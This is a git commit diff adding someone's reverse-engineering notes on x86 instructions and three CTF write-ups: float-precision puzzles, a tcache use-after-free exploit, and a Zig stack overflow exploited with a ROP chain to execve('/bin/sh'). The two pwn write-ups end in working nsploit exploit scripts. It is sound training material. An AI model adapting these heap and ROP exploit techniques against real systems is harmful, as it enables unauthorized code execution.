summaryrefslogtreecommitdiffstats
path: root/docs
diff options
context:
space:
mode:
Diffstat (limited to '')
-rw-r--r--docs/forensics/image_convolution.txt2
-rw-r--r--docs/re/arch_x86.txt60
-rw-r--r--docs/re/re_links.txt1
-rw-r--r--docs/re/rep_prefix.txt18
-rw-r--r--docs/re/test_v_cmp.txt17
-rw-r--r--docs/writeups/2024/BraekerCTF/misc/e.txt103
-rw-r--r--docs/writeups/2024/BraekerCTF/misc/eye_doctor.pngbin0 -> 53001 bytes
-rw-r--r--docs/writeups/2025/AmateursCTF/pwn/Easy_heap.txt147
-rw-r--r--docs/writeups/2025/AmateursCTF/pwn/Rewrite_it_in_Zig.txt190
9 files changed, 503 insertions, 35 deletions
diff --git a/docs/forensics/image_convolution.txt b/docs/forensics/image_convolution.txt
new file mode 100644
index 0000000..419389b
--- /dev/null
+++ b/docs/forensics/image_convolution.txt
@@ -0,0 +1,2 @@
+https://medium.com/analytics-vidhya/image-convolution-from-scratch-d99bf639c32a
+https://docs.gimp.org/2.6/en/plug-in-convmatrix.html
diff --git a/docs/re/arch_x86.txt b/docs/re/arch_x86.txt
index 5d526b2..85cf22f 100644
--- a/docs/re/arch_x86.txt
+++ b/docs/re/arch_x86.txt
@@ -105,3 +105,63 @@ The function return value is stored in the a register.
Stack pointer register: rsp
Base pointer register: rbp
Return value in: rax
+
+
+
+Specific Callouts
+============================================================
+
+TEST vs. CMP
+------------
+CMP subtracts operands and sets internal flags. Among these, it sets the
+zero flag if the difference is zero (operands are equal).
+
+TEST sets the zero flag (ZF) when the result of the AND operation is zero. If
+the two operands are equal, their bitwise AND is zero only when the operands
+themselves are zero. TEST also sets the sign flag (SF) when the most
+significant bit is set in the result, and the parity flag (PF) when the number
+of set bits is even.
+
+JE (alias of JZ) tests the zero flag and jumps if it is set. This creates the
+following equivalencies:
+
+test eax, eax
+je <somewhere> ----> if (eax == 0) {}
+
+cmp eax, ebx
+je <somewhere> ----> if (eax == ebx) {}
+
+
+REP prefix
+----------
+The "rep" prefix on a string instruction repeats that string instruction for CX
+block loads.
+
+e.g. STOS is "Store String"
+It will store the value in AX at the address in RDI
+(technically, STOSB, STOSW, STOD, and STOSQ use AL, AX, EAX, and RAX respectively)
+If RCX = 0x20, RDI = some buffer, and RAX = 0,
+
+`rep stosq` is equivalent to:
+
+```
+buf_ptr = buf
+for(i = 0x20; i != 0; i--)
+ *buf_ptr = 0;
+ buf_ptr++;
+```
+
+
+LOOP instruction
+----------------
+#from stack overflow:
+#https://stackoverflow.com/questions/46881279/how-exactly-does-the-x86-loop-instruction-work
+
+LOOP is exactly like `dec ecx / jnz`, except it doesn't set flags.
+
+It's like the bottom of a `do {} while (--ecx != 0);` loop in C. If execution
+enters the loop with ecx=0, wrap-around means the loop will run 2**32 times
+(2**64 times in 64-bit mode).
+
+Unlike `rep movsb/stosb/etc`, it doesn't check for ecx=0 before decrementing,
+only after.
diff --git a/docs/re/re_links.txt b/docs/re/re_links.txt
new file mode 100644
index 0000000..73cc224
--- /dev/null
+++ b/docs/re/re_links.txt
@@ -0,0 +1 @@
+http://www.javadecompilers.com/
diff --git a/docs/re/rep_prefix.txt b/docs/re/rep_prefix.txt
deleted file mode 100644
index 23e0cec..0000000
--- a/docs/re/rep_prefix.txt
+++ /dev/null
@@ -1,18 +0,0 @@
-The "rep" prefix on a string instruction repeats that string instruction for CX block loads.
-e.g.
-STOS is "Store String"
-It will store the value in AX at the address in RDI
-(technically, STOSB, STOSW, STOD, and STOSQ use AL, AX, EAX, and RAX respectively)
-If RCX = 0x20, RDI = some buffer, and RAX = 0,
-
-`rep stosq`
-
-is equivalent to:
-
-```
-buf_ptr = buf
-for(i = 0x20; i != 0; i--)
- *buf_ptr = 0;
- buf_ptr++;
-```
-
diff --git a/docs/re/test_v_cmp.txt b/docs/re/test_v_cmp.txt
deleted file mode 100644
index c98424f..0000000
--- a/docs/re/test_v_cmp.txt
+++ /dev/null
@@ -1,17 +0,0 @@
-CMP subtracts operands and sets internal flags. Among these, it sets the
-zero flag if the difference is zero (operands are equal).
-
-TEST sets the zero flag (ZF) when the result of the AND operation is zero. If
-the two operands are equal, their bitwise AND is zero only when the operands
-themselves are zero. TEST also sets the sign flag (SF) when the most
-significant bit is set in the result, and the parity flag (PF) when the number
-of set bits is even.
-
-JE (alias of JZ) tests the zero flag and jumps if it is set. This creates the
-following equivalencies:
-
-test eax, eax
-je <somewhere> ----> if (eax == 0) {}
-
-cmp eax, ebx
-je <somewhere> ----> if (eax == ebx) {}
diff --git a/docs/writeups/2024/BraekerCTF/misc/e.txt b/docs/writeups/2024/BraekerCTF/misc/e.txt
new file mode 100644
index 0000000..5b7f455
--- /dev/null
+++ b/docs/writeups/2024/BraekerCTF/misc/e.txt
@@ -0,0 +1,103 @@
+"Grrrrr". This robot just growls. The other bots tell you that it is angry
+because it can't count very high. Can you teach it how?
+
+
+
+Overview
+--------
+The challenge provides a C++ source file and a netcat port. The program code
+appears to be a short series of prompts, which passing all of them will print
+the flag. At each stage, our input is taken as a single-precision floating
+point number which must pass various rounding error and precision checks.
+
+
+
+Level 1
+-------
+bool flow_start() {
+ // Get user input
+ float a = get_user_input("Number that is equal to two: ");
+
+ // Can't be two
+ if (a <= 2)
+ return false;
+
+ // Check if equal to 2
+ return (unsigned short)a == 2;
+}
+
+I saw some solutions take advantage of the fact that large numbers would
+"overflow" when truncated via the (unsigned short) cast, giving a valid input
+like 65538 (0x10002).
+
+My solution leveraged the floating point truncation (aka: loss of decimal
+places): 2.0000002384
+
+
+
+Level 2
+-------
+bool round_2() {
+ float total = 0;
+
+ // Sum these numbers to 0.9
+ for (int i = 0; i < 9; i++)
+ total += 0.1;
+
+ // Add user input
+ total += get_user_input("Number to add to 0.9 to make 1: ");
+
+ // Check if equal to one
+ return total == 1.0;
+}
+
+During the for-loop, precision errors accumulate and the total will overshoot
+0.9. Less than 0.1 must be given: 0.09999990
+
+
+
+Level 3
+-------
+bool level_3() {
+ float total = 0;
+
+ unsigned int *seed;
+ vector<float> n_arr;
+
+ // Random seed
+ seed = (unsigned int *)getauxval(AT_RANDOM);
+ srand(*seed);
+
+ // Add user input
+ add_user_input(&n_arr, "Number to add to array to equal zero: ");
+
+ // Add many random integers
+ for (int i = 0; i < 1024 * (8 + rand() % 1024); i++)
+ n_arr.push_back((rand() % 1024) + 1);
+
+ // Add user input
+ add_user_input(&n_arr, "Number to add to array to equal zero: ");
+
+ // Get sum
+ for (int i = 0; i < n_arr.size(); i++)
+ total += n_arr[i];
+
+ // Check if equal to zero
+ return total == 0;
+}
+
+Many random numbers between [1, 1024] are summed up in this function, and we are
+asked for two more, for all of them to sum to zero. Since the range of random
+numbers is known (<=1024), we can provide relatively large numbers to squeeze
+out the randomness.
+
+Given the fixed-precision, yet floating decimal point of floats, adding a large
+value to a small value can potentially reduce the smaller value to zero as its
+exponent and mantissa are adjusted to match the other.
+
+10000000000000000
+-10000000000000000
+
+
+
+brck{Th3_3pS1l0n_w0rkS_In_M15t3riOuS_W4yS}
diff --git a/docs/writeups/2024/BraekerCTF/misc/eye_doctor.png b/docs/writeups/2024/BraekerCTF/misc/eye_doctor.png
new file mode 100644
index 0000000..58e27d3
--- /dev/null
+++ b/docs/writeups/2024/BraekerCTF/misc/eye_doctor.png
Binary files differ
diff --git a/docs/writeups/2025/AmateursCTF/pwn/Easy_heap.txt b/docs/writeups/2025/AmateursCTF/pwn/Easy_heap.txt
new file mode 100644
index 0000000..34ed9af
--- /dev/null
+++ b/docs/writeups/2025/AmateursCTF/pwn/Easy_heap.txt
@@ -0,0 +1,147 @@
+"I promise it is actually simple this time."
+
+
+
+This challenge consists of a single x86_64 ELF executable. There is also a
+Dockerfile provided to allow you to setup a copy of the remote service. I found
+this particularly useful - since this challenge involves a heap allocator
+vulnerability, the libc version in use is very important. I actually couldn't
+get a solution working on my dev machine and stuck to working inside this
+container for the duration of the problem.
+
+
+
+RE
+--
+The program operates in an infinite loop, performing actions based on the user's
+selections from an invisible menu. We can malloc, free, read from, and write to
+a collection of heap-based memory regions. There is also an extra menu option
+that calls into another function to perform a "win" check - if some global
+buffer contains the string "ALL HAIL OUR LORD AND SAVIOR TEEMO", the check()
+function will graciously give us a shell on the system.
+
+None of the IO allows us to overrun any memory allocations. All calls to malloc
+are for 0x67 bytes, and all reads and writes on the heap buffers are also for
+up to 0x67 bytes, so we cant corrupt memory that way. Instead, this program is
+vulnerable to a Use-After-Free bug, since the free() operation fails to set any
+pointers to NULL after releasing them.
+
+If we can trick the allocator to return a pointer to the global "check" buffer,
+then use the menu to let us write arbitrary data into it, we can populate it
+with the magic string mentioned above, allowing check() to give us a shell.
+
+
+
+Tcache / Forward pointers
+-------------------------
+It is significant that every heap allocation made by the program is of the
+exact same size. This allows us to assume that the same collection of heap
+memory "chunks" will be pulled from in order to service our malloc requests.
+The fact that the same bin is used throughout the lifecycle of the process is
+convenient because any memory corruption we perform in a freed chunk will have
+direct impact on the behavior of the allocator on our next call to malloc().
+
+The tcache table will store pointers to what is effectively a linked-list of
+freed memory chunks, available for reuse. This forms a linked-list because it
+is metadata present at the beginning of each freed chunk that points to the next
+available chunk, if any. The tcache is only formatted as a table so that it may
+accommodate chunks of various sizes.
+
+We can not modify the tcache directly since we don't have a pointer to it setup
+in the program. However, due to the program use-after-free vulnerability, we
+can corrupt the forward pointers of any chunk after it becomes freed (since the
+array in main still points to it). All we have to do is encode the address of
+some memory that we want to access/modify into a chunk's forward pointer. Then,
+when that chunk gets reused, our forged pointer is pulled into tcache for the
+next allocation.
+
+The forward pointers are encoded in a special way, attempting to mitigate
+tampering by an attacker. This technique is called "safe linking" and uses the
+randomness of ASLR to protect the linked-list pointers like so:
+
+ fp = (chunk_address >> 12) ^ pointer
+
+Normally, we would be unable to forge `chunk_address` due to ASLR. However,
+this challenge allows us to read and write the chunk memory before and after
+freeing, so we can leak it.
+
+
+
+The attack
+----------
+We want to trick the allocator into returning a pointer to `checkbuf` so that we
+can modify it with the magic string, then call check() to get a shell.
+
+First, malloc() then free() a pointer. This gets a chunk placed in the bin of
+available chunks and leaves its pointer present in the array in main().
+
+Read from this pointer to leak the encoded NULL pointer and recover the base
+address of the chunk.
+
+Write back to this pointer, replacing the forward pointer metadata with our own.
+This pointer should reference `checkbuf`.
+
+Call malloc again. This should return the original chunk and injest its
+metadata to the tcache.
+
+Call malloc a final time. This time it returns a pointer to `checkbuf`,
+believing it to be the next available chunk for reuse.
+
+Write to this pointer, to implant the magic string, then call check().
+
+cat flag from the shell
+
+amateursCTF{what_is_a_flag?why_am_i_even_doing_this_anymore?crazy?i_was_crazy_once...}
+
+
+
+Solution in sploit follows
+
+```
+from nsploit.rev import *
+
+elf = ELF("./chal")
+
+def menu(a, b):
+ io.readuntil(contains, b"> ")
+ io.writeline(str(a).encode())
+ io.readuntil(contains, b"> ")
+ io.writeline(str(b).encode())
+
+def malloc(x):
+ menu(0, x)
+
+def free(x):
+ menu(1, x)
+
+def read(x, data):
+ menu(2, x)
+ io.readuntil(contains, b"data> ")
+ io.write(Payload()(data, padlen(0x67))())
+
+def write(x):
+ menu(3, x)
+ io.readuntil(contains, b"data> ")
+ return io.read(0x67)
+
+def check():
+ io.readuntil(contains, b"> ")
+ io.writeline(b"67")
+
+malloc(0)
+free(0)
+
+base_ptr = btoi(write(0)[:8]) << 12
+print(hex(base_ptr))
+
+crafted_ptr = (base_ptr >> 12) ^ elf.sym.checkbuf
+read(0, itob(crafted_ptr))
+
+malloc(0) # consume old chunk
+malloc(1) # allocate forged ptr
+
+read(1, b"ALL HAIL OUR LORD AND SAVIOR TEEMO\x00")
+
+check()
+io.interact()
+```
diff --git a/docs/writeups/2025/AmateursCTF/pwn/Rewrite_it_in_Zig.txt b/docs/writeups/2025/AmateursCTF/pwn/Rewrite_it_in_Zig.txt
new file mode 100644
index 0000000..21612e7
--- /dev/null
+++ b/docs/writeups/2025/AmateursCTF/pwn/Rewrite_it_in_Zig.txt
@@ -0,0 +1,190 @@
+"Sometimes rust is just a little too safe for me."
+
+
+
+We are provided with an x86_64 ELF executable and its corresponding Zig source
+code. There is also a dummy flag file and Dockerfile that can be used to
+construct a functioning mirror of the remote. I never bothered with this docker
+image while testing, opting to simply debug the executable and test various
+inputs with sploit.
+
+The program is a very simple Zig file:
+```
+const std = @import("std");
+const print = std.debug.print;
+
+pub fn main() void {
+ print("you can never have too much zip pwn.\n", .{});
+
+ var backing: [0x100]u8 = undefined;
+ var buf: []u8 = &backing;
+ buf.len = 0x1000;
+ _ = std.io.getStdIn().read(buf) catch {};
+}
+```
+
+
+
+RE
+--
+The program appears to attempt to read up to 0x1000 bytes into a buffer of size
+0x100. If my understanding of the Zig API involved is correct, the language's
+stdin.read() is still trying to do a properly bounded read, but the challenge
+author has thwarted that by making a "cast" of the backing memory area (called
+`buf`) with its size information overridden. This should allow us to smash the
+stack by overrunning the area allocated for `backing` (the actual stack-based
+memory) when main calls stdin.read(buf).
+
+I analyzed the main() function in ghidra - here is a truncated view of what
+happens. First, "you can never have..." is printed; then the space for
+`backing` is initialized to all 0xaa bytes. The read at the end is shown:
+```
+ uStack_168 = 0xaaaaaaaaaaaaaaaa;
+ backing[0] = 0xaa;
+ backing[1] = 0xaa;
+ backing[2] = 0xaa;
+ backing[3] = 0xaa;
+ backing[4] = 0xaa;
+ backing[5] = 0xaa;
+ backing[6] = 0xaa;
+ backing[7] = 0xaa;
+ buf.ptr = (u8 *)0x1000;
+ getStdIn();
+ buf.len._4_4_ = (undefined4)buf.len;
+ read((int)local_18,&local_180,(size_t)((long)&buf.len + 4)); // !
+ return;
+}
+```
+
+That read() call is to an instance method on the stdin object obtained with
+`getStdIn()`. Since I'm not at all familiar with the Zig standard library, I
+didn't originally trace the calls down to the actual read system call. Instead,
+I tried feeding the program a large de Bruijn sequence and looking for a crash.
+When catching a crash this way, you just need to check what address RIP tried
+to jump to and search the original input for that bit pattern. Since the input
+sequence should have no duplicate substrings, we can unambiguously determine the
+offset at which to place an attacker-controlled return address to gain
+execution.
+
+Using this method, I determined the necessary offset to be 360 bytes. Just to
+confirm, if we feed this basic sploit payload into the program, we should get
+main to "return" into 0xdeadbeef (and crash).
+
+ io.writeline(Payload()(padlen(360), 0xdeadbeef)())
+
+I had planned at this point to construct a ROP chain to call into libc and
+obtain a shell on the remote. However, on a quick glance of the binary we can
+see that not only is this a statically linked executable, but Zig doesn't
+appear to lean on the C runtime library at all. So, a different path to exec()
+would need to be found.
+
+I will also point out here that the executable is also compiled as non-PIC,
+but I did not realize that at this point. I proceeded to construct my ROP
+chain under the assumption that ASLR was randomizing the location of my
+non-.text sections. I know, that sounds odd in hindsight, but that should
+explain how and why I was trying to load the string for "/bin/sh" from a stack
+address in the way that I was.
+
+
+
+ROP
+===
+As stated above, we have a different set of standard library functions compiled
+into the program as you might expect with libc. There is no function for
+execve() or similar, however there are some generic syscall functions. I
+attempt to call syscall3() in this way:
+
+ syscall3(59, binsh_ptr, 0, 0) //execve("/bin/sh", NULL, NULL)
+
+59 is the syscall number for execve() on linux x86_64, and while the last two
+arguments aren't "supposed" to be NULL, we can set them that way without
+breaking anything.
+
+Since this isn't based on a libc, there is no "/bin/sh" string in memory that
+we can just search for and point to. The bytes need to be loaded by our
+attack somehow. We can trivially place them on the stack - just include the
+string directly in the response we send to read(). However, we don't know the
+location of the stack in memory and would have to leak the string's address.
+
+
+
+Loading arbitrary stack memory (unnecessary)
+============================================
+I searched for any gadget that would be useful for mov-ing the current stack
+pointer address into some other register. This way I could implant "/bin/sh"
+on the stack payload (as described above) then grab a reference to it to use
+later in the ROP chain. If you pair such a gadget with another one that makes
+a pop or two into unrelated registers, you can nudge the stack pointer past
+this string data and continue on executing your ROP.
+
+The only potentially useful gadgets like this involved a `mov rbp, rsp`
+instruction - the problem with all of them is that they were each part of a
+function epilogue that does `pop rbp; ret` at the end, overwriting our saved
+stack address.
+
+Some other gadgets did the same initial mov and involved an `xchg rbp, *`.
+These looked promising, but each ended up being unviable for one reason or
+another.
+
+I eventually realized what I mentioned earlier in this writeup: the file is
+non-PIC, so we have reliable runtime addresses for sections like .data and
+.bss. It was this realization that allowed me to construct my final ROP chain.
+
+
+
+ROP (for real)
+==============
+I have a known writable location in memory that I can use - that being the start
+of the .bss section. Since I don't mind crashing the process after getting the
+flag, my payload can freely use this space to house any data it needs. I'll
+store the string "/bin/sh\x00" here.
+
+sploit has a feature for incorporating arbitrary memory access into ROP chains,
+but I did need to manually find a gadget for it to use. This was found using
+r2 in sploit's gadget search:
+
+ Gadget(0x10bb81a, 'mov qword [rdx], rdi; xor eax, eax; ret')
+
+AKA: If I can get values into rdi and rdx, this gadget will write the bytes
+encoded in rdi, into the memory location pointed to by rdx. eax is also set to
+zero, this is just a random side-effect of executing this gadget, and should be
+accounted for by the rest of the ROP chain.
+
+In my solution script, I needed to manually identify a couple other "register
+controlling" gadgets too. You'll see those in the solution below. The main
+job of my exploit script is fairly straightforward at this point - just produce
+a single payload with the following ROP:
+
+ - 360 padding bytes
+ - write "/bin/sh\x00" to address 0x10d8000 (.bss)
+ - setup registers to call syscall3(59, 0x10d8000, 0, 0)
+
+When the exec completes, we will have an interactive shell on the system and
+can just cat the flag file. See my full nsploit script below.
+
+amateursCTF{i_love_zig_its_my_favorite_language_and_you_will_never_escape_the_zig_pwn_ahahaha}
+
+
+
+```
+from nsploit.rev import *
+from nsploit.tech import *
+
+elf = ELF("./chal")
+rop = ROP(elf)
+
+straddr = elf.sym.sect['.bss']
+
+elf.sym.rdi = GadHint(0x10c3470, pops=['rdi','rbp'])
+elf.sym.rsi = GadHint(0x10cec9e, pops=['rsi','rbp'])
+elf.sym.www = GadHint(0x10bb81a, writes={'rdx':'rdi'}, imms={'rax':0})
+
+payload = Payload()
+payload.pad = padlen(360)
+payload.binsh = rop.memcpy(straddr, b"/bin/sh\x00")
+payload.shell = rop.call(elf.sym['os.linux.x86_64.syscall3'], 59, straddr, 0, 0)
+
+print(payload)
+io.writeline(payload())
+io.interact()
+```